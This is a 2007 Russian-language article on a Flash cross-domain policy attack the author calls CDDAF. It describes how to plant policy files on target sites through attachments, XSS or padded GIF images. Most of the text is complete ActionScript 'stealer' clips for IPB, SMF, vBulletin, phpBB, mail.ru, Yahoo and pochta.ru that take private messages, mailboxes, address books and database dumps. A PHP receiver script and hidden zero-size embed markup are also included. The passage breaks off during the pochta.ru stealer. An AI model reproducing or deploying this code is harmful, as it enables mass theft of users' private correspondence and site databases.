Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.
Author: Cenarius
Email: ooohoow@gmail.com Icq: 100732
Date: 26 July 2007
Оглавление
Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.
В практической части описываются примеры различного использования уязвимости:
Атака осуществляется посредством Flash Player. Для Flash Player действует ряд ограничений (sandbox security model), схожих с ограничениями для Java Applets, которые запрещают доступ к серверу, если его адрес не совпадает с адресом сервера, на котором находится клип. Суть атаки заключается в расширении sandbox (снятии ограничений на доступ к внешним данным) Flash Player для отправления произвольных данных уязвимому данной атаке серверу от лица жертвы. Не маловажно то, что с запросом отправляются и установленные для данного сервера cookies. О том, как расширить Sandbox будет рассказано далее.
В общем случае проведение атаки выглядит следующим образом: жертва заходит на некий сайт и при этом загружает Flash клип, который делает запрос на расширение Sandbox серверу и, если все прошло успешно, начинает посылать запросы данному серверу, обрабатывать ответы, если необходимо пересылать их другому серверу. Данная уязвимость может быть использована для кражи приватной информации пользователей, DDoS, накрутки голосований, счетчиков, распределенного подбора паролей и т. д. Ниже приведена общая схема проведения атаки.
Данная уязвимость схожа с CSRF и XSS, при этом имеет преимущества обоих: возможность посылать запросы серверам (не только на 80 порт) и обрабатывать ответ. Поэтому атаку возможно осуществить и при наличии такой защиты от CSRF, как добавление уникального параметра к каждому запросу. Уязвимость не является частным случаем CSRF, т. к. с ее помощью мы не только посылаем запросы сторонним серверам, но и получаем ответ сервера, имеем возможность его обрабатывать. Данную уязвимость я назвал Cross-Domain Data Access via Flash (CDDAF).
Для снятия ограничений (расширения Sandbox) необходимо расположить на сервере, к которому необходимо получить доступ, cross-domain policy файл (далее сертификат), являющийся простым XML файлом. Сертификат должен содержать примерно следующее:
<?xml version="1.0"?>
|
Данный policy file разрешает доступ к серверу клипам, загруженным с www.site.com. Чтобы клипы с любых доменов имели доступ к серверу значение атрибута domain должно быть "*".
Чтобы разрешить клипу, полученному по HTTP протоколу, импортировать данные при помощи HTTPS, значение атрибута secure должно быть false (по умолчанию true).
Пример сертификата, разрешающего внешний доступ к страницам по протоколам HTTP и HTTPS:
<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy> |
Для сокетов для доступа к портам сервера номером более 1024 (доступ к стандартным портам закрыт, но и это ограничение можно снять), предусмотрен атрибут to-ports, значением которого могут быть конкретный порт, диапазон (например "3000-3010") или "*" (>1024). Для доступа к стандартным портам сертификат должен быть получен с порта с номером, не превышающим 1024. Сертификат, загруженный с порта, номер которого больше 1024, или по HTTP, не может дать допуск на подключение к стандартным портам.
Подробнее: http://www.adobe.com/go/tn_14213
Таким образом, разместив на сайте приведенный выше XML код или клип, мы можем посылать данному сайту произвольные запросы от лица жертвы. Следует отметить, что многие HTTP заголовки средствами Flash изменить нельзя. Ниже приведены данные заголовки (для Flash Player 9):
Accept-Charset, Accept-Encoding, Accept-Ranges, Age, Allow, Allowed, Connection, Content-Length, Content-Location, Content-Range, Date, Delete, ETag, Expect, Get, Host, Keep-Alive, Last-Modified, Location, Max-Forwards, Options, Post, Proxy-Authenticate, Proxy-Authorization, Public, Put, Range, Referer, Retry-After, Server, TE, Trace, Trailer, Transfer-Encoding, Upgrade, URI, User-Agent, Vary, Via, Warning, WWW-Authenticate, x-flash-version |
Для расширения Sandbox используется метод loadPolicyFile(policyFile:String). При этом имя и расширение файла сертификата не имеют значения, сертификат даже может содержать посторонние данные ("мусор").
Для размещения кода сертификата на сайте есть несколько общих способов:
> Вложения (attachments) - для форумов, почтовых веб сервисов
> XSS - вставка на уязвимой странице кода сертификата
Примечание. Иногда выгоднее использовать XSS "традиционными" способами, например, если XSS выглядит следующим образом:
http://site.com/dir1/dir2/scr?param=[XSS], то мы сможем получить доступ только к http[s]://site.com/dir1/dir2/* и site.com:1024+
> Аватары, фото, и т. д.
Примечание. Здесь меня постигло разочарование: иногда ссылка на изображение имеет следующий вид (пример для vBulletin):
http://site.com/vb/image.php?u=1234&dateline=123456789
Видно, что если поместить в изображение код сертификата, мы сможем получить доступ к http://site.com/vb/*, но Flash Player не считывает данные после символа конца строки. Поэтому код сертификата должен находиться перед данным символом. Однако, зачастую существует проверка размеров загружаемой картинки, которая обычно заключается в чтении нескольких начальных байт изображения. Покажу на примере формата GIF.
Структура GIF файла
Как видно, для ширины и высоты изображения зарезервировано по 2 байта с 6-го по 9-ый включительно. Чтобы ни один из зарезервированных байтов не был null-байтом, размеры изображения должны быть 0101h x 0101h или в десятичной системе счисления 257 x 257. Таким образом, мы сможем вставить код сертификата в картинку, минимальный размер которой 257 x 257 (т. е. как аватар такое изображение загрузить в большинстве случаев не удастся). С другими графическими форматами дела обстоят аналогичным образом.
> Возможно, сертификат уже находится на сервере. Например, иногда в корне сайта имеется необходимый нам файл crossdomain.xml (часто со значением атрибута domain *). Пример - icq.com
Иногда возможно расположить клип на сервере, к которому необходимо послать запрос. Тогда, если клип расположен не в корневой директории, он сможет работать только со страницами, расположенными в одной директории (или поддиректориях) с ним.
Замечание. В этом случае возможно также выполнение javascript, например, при помощи функции getURL() или метода call() класса ExternalInterface.
В настоящее время уязвимы web email сервисы(yahoo.com, hotmail.com, icqmail.com, mail.ru, pochta.ru, gmail.com), некоторые популярные форумные движки (Invision Power Board, vBulletin, SMF) и др.
Для эксплуатации уязвимости необходимо разместить код сертификата на сервере, получить его адрес. На основании данного адреса определяем, к какой части сайта мы получим доступ. Если все устраивает, создаем Flash клип, который выполнит необходимые нам действия от лица загрузившего.
Далее в статье будут рассмотрены примеры кражи приватной информации (PM, DB; на примере форумов и почтовых сервисов), распределенного перебора паролей, DDoS.
Схема проведения CSREF следующая: размещаем на форуме код сертификата (в attachment), даем жертве ссылку на сайт с клипом, который загрузит размещенный нами сертификат, выполнит от лица жертвы некие действия, если необходимо отправит полученные данные.
В общем случае при краже личных сообщений (или писем с email сервиса) загруженный Flash Movie выполняет следующие действия (исключение vBulletin):
Код на PHP скрипта-приёмника для всех приведенных далее примеров один:
<?php
set_time_limit(0); error_reporting(E_ALL ^ E_NOTICE);
if($_POST['data']) { if(strlen($_POST['data']) > 3000000) exit; $date = date('d M Y, H:i:s');
$clientInfo = <<<INFO <table style='background: #800000; font-family: Verdana; font-size: 10; color: #ffffff;' width=100% border=1 cellpadding=2 cellspacing=0> <tr> <td colspan=5><center><b>Information about sender</b></center></td> </tr><tr> <td><b>Date:</b> {$date}</td> <td><b>Ip:</b> {$_SERVER['REMOTE_ADDR']}</td> <td><b>X_Forwarded_For:</b> {$_SERVER['HTTP_X_FORWARDED_FOR']}</td> <td><b>Client_Ip:</b> {$_SERVER['HTTP_CLIENT_IP']}</td> <td><b>Forwarded:</b> {$_SERVER['HTTP_FORWARDED']}</td> </tr><tr> <td colspan=2><b>Referer:</b> {$_SERVER['HTTP_REFERER']}</td> <td colspan=3><b>User-Agent:</b> {$_SERVER['HTTP_USER_AGENT']}</td> </tr> </table>
INFO;
$handle = fopen($_SERVER['REMOTE_ADDR'] . '.html', 'a'); fwrite($handle, $clientInfo . stripslashes(urldecode($_POST['data'])) . '<br><br>'); fclose($handle); }
?> |
Данный скрипт записывает значение $_POST['data'] и некоторую информацию о клиенте в файл $_SERVER['REMOTE_ADDR'] . '.html'
Файлы, созданные данным скриптом, следует открывать с осторожностью, т. к. жертва может, например, послать HTML код какого-нибудь внешнего элемента, Javascript код и т. д. и получить IP злоумышленника.
В панель администратора попасть не удастся, т. к. доступ туда осуществляется по паролю/сессии, сессия админа хранится в cookies (ipb_admin_session_id), однако она не используется. В версиях 2.2, 2.3 кусок кода, отвечающий за аутентификацию, используя ipb_admin_session_id, был закомментирован:
//---------------------------------- // Got a cookie wookey? // Small security risk currently // Until we add in the auth key to forms //----------------------------------
/* $cookie['admin_session_id'] = $this->ipsclass->my_getcookie('ipb_admin_session_id'); if ( $cookie['admin_session_id'] ) { $this->ipsclass->input['adsess'] = $cookie['admin_session_id']; $this->session_type = 'cookie'; }*/ |
По умолчанию, к своему сообщению можно прикреплять файлы определенного размера и расширения. Загруженные файлы хранятся в БД и извлекаются сценарием index.php. При этом:
> Скрипт index.php, передающий содержание изображения находится в корне форума. Ссылка на загруженный файл имеет примерно следующий вид:
http://site.com/forum/index.php?act=attach&type=post&id=2
> Прикрепляемый файл может содержать произвольный XML код
Таким образом, имеются все условия для проведения атаки. Мы можем посылать запросы от лица пользователя, загрузившего клип. При этом, как и отмечалось ранее, передаются cookies, установленные для данного сайта.
Ниже приведен код на ActionScript для кражи всех приватных сообщений пользователя, загрузившего Flash клип. Клип получает параметры, используя FlashVars. [AS1/2]
/* Invision Power Board PM Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals inbox, sent and saved PMs
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // policyFileUrl:String = Policy file url (attachment url) // [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl && _level0.policyFileUrl) { if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; } import flash.external.ExternalInterface; var messagesContent:Array = new Array(); var allPmLinks:Array = new Array(); var tmpPmLinks:Object = new Object(); var foldersDone:Number = 0; // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(_level0.policyFileUrl); var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/')); // Array of forum's folders links var folders:Array = new Array( '/index.php?CODE=01&act=Msg&VID=in', // Inbox '/index.php?CODE=01&act=Msg&VID=sent', // Sent '/index.php?act=Msg&CODE=20'); // Saved // Getting lists of messages in folders for(var i in folders) { serverRequest( forumUrl + folders[i], '', 'GET', onGetMessageList); } }
function onGetMessageList(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for PM links // Using external Js Regexp (Flash player < 9 doesn't support Regexp) var pmLinks:Object = ExternalInterface.call( 'function(data) { return data.match(/(index\\.php\\?act=Msg&CODE=03&VID=[a-z]+&MSID=\\d+)/igm); }', loadedData);
// Deleting similar links for(var i in pmLinks) { tmpPmLinks[pmLinks[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) { // Concatenation (Object) tmpPmLinks to (Array) allPmLinks for(var i in tmpPmLinks) { allPmLinks.push(i); } sendGetLinkRequsts() } }
function sendGetLinkRequsts():Void { if(allPmLinks.length) { if(allPmLinks.length < messagesUntilDump) { messagesUntilDump = allPmLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message serverRequest( forumUrl + '/' + allPmLinks.shift(), '', 'GET', onGetMessageContent); } } }
function onGetMessageContent(loadedData:String):Void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages serverRequest( _level0.dataReceiverUrl, 'data=' + escape(messagesContent.join('<br>')), 'POST');
messagesContent = new Array(); sendGetLinkRequsts() } }
function serverRequest( requestUrl:String, vars:String, method:String, onDataFunc:Function):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); }
// EOF |
Параметры:
· policyFileUrl - адрес прикрепленного файла с кодом сертификата
· dataReceiverUrl - адрес скрипта-приемника. Он должен находиться в одной директории с клипом
· [optional] messagesUntilDump - число сообщений в одном дампе
Требования:
· Flash Player 8+
· Javascript
Пример вставки клипа на страницу (все & в параметрах-ссылках лучше заменить на %26)
<OBJECT id="fl" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <PARAM name="movie" value="ipbPMStealer.swf"> <PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1"> <EMBED name="fl" src="ipbPMStealer.swf" FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1" width="0" height="0" swLiveConnect="true" pluginspace="http://www.macromedia.com/go/flashplayer/"> </EMBED> </OBJECT> |
Принцип действия данного клипа показан на схеме в начале статьи. В одной директории с данным клипом должен находиться скрипт-приёмник (cDataReceiver.php; код приводился ранее)
При любом действии в панели администратора проверяется значение Referer'a. В последней версии Flash Player значение данного заголовка изменить нельзя: браузер посылает Referer страницы с Flash клипом. Но все же атаку можно осуществить, если жертва использует Mozilla Firefox, т. к. в данном браузере Flash Player не посылает заголовка Referer при GET запросах (в отличие от IE и Opera).
Код для кражи базы данных (работает только в Mozilla Firefox) [AS1/2]
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/* Simple Machines Forum DB Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals database (works only in Mozilla Firefox) Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) { // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(_level0.policyFileUrl); var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/')); // Getting session verify serverRequest( forumUrl + '/index.php', 'action=admin', 'GET', onGetSessVerify); }
function onGetSessVerify(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; } // Looking for 'sesc' (session verify) var sessVerify:String = loadedData.substr(loadedData.indexOf('sesc=') + 5, 32);
// Dumping DB serverRequest( forumUrl + '/index.php', 'data=on&action=dumpdb&sesc=' + sessVerify, 'GET', onDumpTry); }
function onDumpTry(loadedData:String):Void { // Dumping messages serverRequest( _level0.dataReceiverUrl, 'data=' + escape('<pre>' + loadedData + '</pre>'), 'POST'); }
function serverRequest( requestUrl:String, vars:String, method:String, onDataFunc:Function):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars(); sender.decode(vars);
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); }
// EOF |
Код для кражи всех Inbox/Sent приватных сообщений пользователя [AS1/2]
Параметры:
· policyFileUrl
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/* Simple Machine Forum PM Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals inbox and sent PMs
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // policyFileUrl:String = Policy file url (attachment url) // [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl && _level0._level0.policyFileUrl) { if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface; var messagesContent:Array = new Array(); var allPmLinks:Array = new Array(); var tmpPmLinks:Object = new Object(); var foldersDone:Number = 0; // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(_level0.policyFileUrl); var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/')); // Array of forum's folders links var folders:Array = new Array( '/index.php?action=pm;f=inbox;sort=date;start=0', '/index.php?action=pm;f=outbox;sort=date;start=0'); // Getting lists of messages in some folders (folders) for(var i in folders) { serverRequest( forumUrl + folders[i], '', 'GET', onGetMessageList); } }
function onGetMessageList(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for PM links // Using external Js Regexp (Flash player < 9 doesn't support Regexp) var pmLinks:Object = ExternalInterface.call( 'function(data) { return data.match(/(index\\.php\\?action=pm;f=[a-z]+;sort=date;start=\\d+)/igm); }', loadedData);
// Deleting similar links for(var i in pmLinks) { tmpPmLinks[pmLinks[i]] = null; }
foldersDone++; onGetMessageContent(loadedData);
if(foldersDone == folders.length) { // Concatenation (Object) tmpPmLinks to (Array) links_array for(var i in tmpPmLinks) { allPmLinks.push(i); } sendGetLinkRequsts(); } }
function sendGetLinkRequsts():Void { if(allPmLinks.length) { if(allPmLinks.length < messagesUntilDump) { messagesUntilDump = allPmLinks.length; } for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message serverRequest( forumUrl + '/' + allPmLinks.shift(), '', 'GET', onGetMessageContent); } } }
function onGetMessageContent(loadedData:String):Void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages serverRequest( _level0.dataReceiverUrl, 'data=' + escape(messagesContent.join('<br>')), 'POST'); messagesContent = new Array(); sendGetLinkRequsts(); } }
function serverRequest( requestUrl:String, vars:String, method:String, onDataFunc:Function):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); }
// EOF |
В данном форуме проверяется значение Referer'a при POST запросах, поэтому сделать что-либо в админ панели не удастся.
Украсть приватные сообщения в данном форуме очень просто: разработчики предусмотрели возможность скачать все свои PM, этим и воспользуемся.
Код для кражи всех приватных сообщений [AS1/2]
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/* vBulletin PM Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all PMs (as text)
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) { // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(_level0.policyFileUrl); var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/')); var loader:LoadVars = new LoadVars(); loader.onData = function(loadedData:String) { // Sending received data to dataReceiverUrl var sender:LoadVars = new LoadVars(); sender.data = '<pre>' + loadedData + '</pre>'; sender.sendAndLoad(_level0.dataReceiverUrl, new LoadVars(), 'POST'); } // Downloading all PMs loader.load(forumUrl + '/private.php?do=downloadpm&dowhat=txt'); }
// EOF |
Данный форум уязвим при наличии attach (download) мода. Проверка Referer отсутствует, поэтому возможны любые действия. Ниже приведен код для кражи базы данных форума.
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 8+
· Javascript
/* phpBB DB Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals database Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) { import flash.external.ExternalInterface; System.security.loadPolicyFile(_level0.policyFileUrl); var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/')); var adminPath:String; var sid:String; // Getting session verify serverRequest( forumUrl + '/index.php', '', 'GET', onGetSid); }
function onGetSid(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; } // Parsing received data for sid and admin panel path // Using external Js Regexp (Flash player < 9 doesn't support Regexp) var matches:Object = ExternalInterface.call( 'function(data) { return data.match(/href=\\"([a-z0-9_-]+)\\/index\\.php\\?sid=([a-z0-9]+)\\">Go to Administration Panel/i); }', loadedData); adminPath = matches[1]; sid = matches[2];
if(!sid) { // No sid found } else { // Dumping DB serverRequest( forumUrl + '/' + adminPath + '/admin_db_utilities.php', 'perform=backup&additional_tables=&backup_type=full&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=' + sid, 'GET', onBackupTry); } }
function onBackupTry(loadedData):Void { // Sending received loadedData to _level0.dataReceiverUrl serverRequest( _level0.dataReceiverUrl, 'data=' + escape('<a href="' + forumUrl + '/' + adminPath + '/index.php?sid=' + sid + '"><h4>Try to enter in admin panel</h4></a>' + '<pre>' + loadedData + '</pre>'), 'POST'); }
function serverRequest( requestUrl:String, vars:String, method:String, onDataFunc:Function):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars(); sender.decode(vars);
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); }
// EOF |
Для почтовых сервисов схема проведения CSREF немного сложнее, чем для форумов, выглядит она следующим образом: жертве посылается письмо с прикрепленным файлом, содержащим код сертификата (либо отправляется HTML письмо, содержащее данный код, если он не фильтруется) и ссылка на сайт. Когда жертва переходит по ссылке, передается Referer, содержащий адрес письма. Flash клип, исходя из этого адреса, формирует адрес прикрепленного к письму файла. Жертва загружает клип, который на основе переданного адреса (иногда можно передавать адрес самого письма, содержащего код сертификата) расширяет Sandbox и ворует все письма. Для получения referrer от жертвы можно использовать не только ссылку.
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/* mail.ru Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all messages in next folders: inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) { if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; } import flash.external.ExternalInterface; System.useCodepage = true; var messagesContent:Array = new Array(); var allMessageLinks:Array = new Array('addressbook'); var tmpMessageLinks:Object = new Object(); var foldersDone:Number = 0; // Getting referrer var referrer:String = ExternalInterface.call( "function() { return document.referrer; }").toString(); var messageId:String = ExternalInterface.call( 'function(data) { return data.match(/readmsg\\?id=(\\d+)/i)[1]; }', referrer).toString(); var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/')); // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment'); var folders:Array = new Array( '/msglist?folder=0', // Inbox '/msglist?folder=500000', // Sent '/msglist?folder=500001', // Draft '/msglist?folder=500002'); // Trash // Getting lists of messages in folders for(var i in folders) { serverRequest( baseUrl + folders[i], onGetMessageList, 'GET'); } }
function onGetMessageList(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages // Using external Js Regexp (Flash player < 9 doesn't support Regexp) var links:Object = ExternalInterface.call( 'function(data) { return data.match(/(readmsg\\?id=\\d+)/ig); }', loadedData.split("\\\"").join(''));
// Deleting similar links for(var i in links) { tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) { // Concatenation (Object) tmpMessageLinks to (Array) links_array for(var i in tmpMessageLinks) { allMessageLinks.push(i); } sendGetLinkRequsts(); } }
function sendGetLinkRequsts():Void { if(allMessageLinks.length) { if(allMessageLinks.length < messagesUntilDump) { messagesUntilDump = allMessageLinks.length; } for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message serverRequest( baseUrl + '/' + allMessageLinks.shift(), onGetMessageContent, 'GET'); } } }
function onGetMessageContent(loadedData:String):Void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages serverRequest( _level0.dataReceiverUrl, function() {}, 'POST', 'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array(); sendGetLinkRequsts() } }
function serverRequest( requestUrl:String, onDataFunc:Function, method:String, vars:String):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); }
// EOF |
[AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript (от данного требования можно избавиться, если передавать Referer параметром посредством FlashVars)
/* mail.ru Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all messages in next folders: inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl; var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) { import flash.external.ExternalInterface; if(!messagesUntilDump) { messagesUntilDump = 3; } var messagesContent:Array = new Array(); var allLinks:Array = new Array('addressbook'); var allLinksObject:Object = new Object(); var foldersDone:Number = 0; // Getting referrer var referrer:String = ExternalInterface.call( "function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/readmsg\?id=(\d+)/i)[1]; var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/')); // Loading policy file / Expanding 'sandbox' flash.system.Security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment'); var folders:Array = new Array( // Folders '/msglist?folder=0', // Inbox '/msglist?folder=500000', // Sent '/msglist?folder=500001', // Draft '/msglist?folder=500002'); // Trash // Getting lists of messages in some folders (folders) var loader:LoadUrl = new LoadUrl(null, onGetMessageList); for each (var folder in folders) { loader.setRequestUrl(baseUrl + folder); loader.loadUrl(); } }
function onGetMessageList(loadedData:String):void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages var currentLinks:Array = loadedData.match(/(readmsg\?id=\d+)/ig);
// Deleting similar links for each (var link:String in currentLinks) { allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) { for(var key:String in allLinksObject) { allLinks.push(key); }
sendGetLinkRequsts(); } }
function sendGetLinkRequsts():void { if(allLinks.length) { if(allLinks.length < messagesUntilDump) { messagesUntilDump = allLinks.length; } var loader:LoadUrl = new LoadUrl(null, onGetMessageContent); for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message loader.setRequestUrl(baseUrl + '/' + allLinks.shift()); loader.loadUrl(); } } }
function onGetMessageContent(loadedData:String):void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages var loader:LoadUrl = new LoadUrl( dataReceiverUrl, function() {}, 'POST', 'data=' + escape(messagesContent.join('<br>'))); loader.loadUrl(); messagesContent = new Array(); sendGetLinkRequsts(); } }
// EOF |
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/* yahoo.com Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all messages in next folders: inbox, draft, sent, bulk, trash
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) { if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; } import flash.external.ExternalInterface; System.useCodepage = true; var messagesContent:Array = new Array(); var allMessageLinks:Array = new Array(); var tmpMessageLinks:Object = new Object(); var foldersDone:Number = 0; // Getting referrer var referrer:String = ExternalInterface.call( "function() { return document.referrer; }").toString();
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/')); // Loading policy file / Expanding 'sandbox' System.security.loadPolicyFile(referrer + '&bodyPart=2'); var folders:Array = new Array( '/ShowFolder?rb=Inbox&', // Inbox '/ShowFolder?rb=Draft&', // Draft '/ShowFolder?rb=Sent&', // Sent '/ShowFolder?rb=@B@Bulk&', // Bulk '/ShowFolder?rb=Trash&'); // Trash // Getting lists of messages in folders for(var i in folders) { serverRequest( baseUrl + folders[i], onGetMessageList, 'GET'); } }
function onGetMessageList(loadedData:String):Void { if(!loadedData) { // Connect error || expanding 'sandbox' error return; }
// Parsing received data for links of messages // Using external Js Regexp (Flash player < 9 doesn't support Regexp) var links:Object = ExternalInterface.call( 'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }', loadedData.split("\\\"").join('')); // Deleting similar links for(var i in links) { tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) { // Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks for(var i in tmpMessageLinks) { allMessageLinks.push(i); } sendGetLinkRequsts(); } }
function sendGetLinkRequsts():Void { if(allMessageLinks.length) { if(allMessageLinks.length < messagesUntilDump) { messagesUntilDump = allMessageLinks.length; } for(var i:Number = 1; i <= messagesUntilDump; i++) { // Getting content of message serverRequest( baseUrl + '/' + allMessageLinks.shift() + '&', onGetMessageContent, 'GET'); } } }
function onGetMessageContent(loadedData:String):Void { if(messagesContent.push(loadedData) >= messagesUntilDump) { // Dumping messages serverRequest( _level0.dataReceiverUrl, function() {}, 'POST', 'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array(); sendGetLinkRequsts(); } }
function serverRequest( requestUrl:String, onDataFunc:Function, method:String, vars:String):Void { var sender:LoadVars = new LoadVars(); var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc; sender.sendAndLoad(requestUrl, loader, method); } // EOF |
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/* pochta.ru Mail Stealer by Cenarius Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability Steals all messages in next folders: inbox, draft, sent, trash
Email: ooohoow@gmail.com | Icq: 100732 */
// Params: // dataReceiverUrl:String = Url of data receiving script // [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl; var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
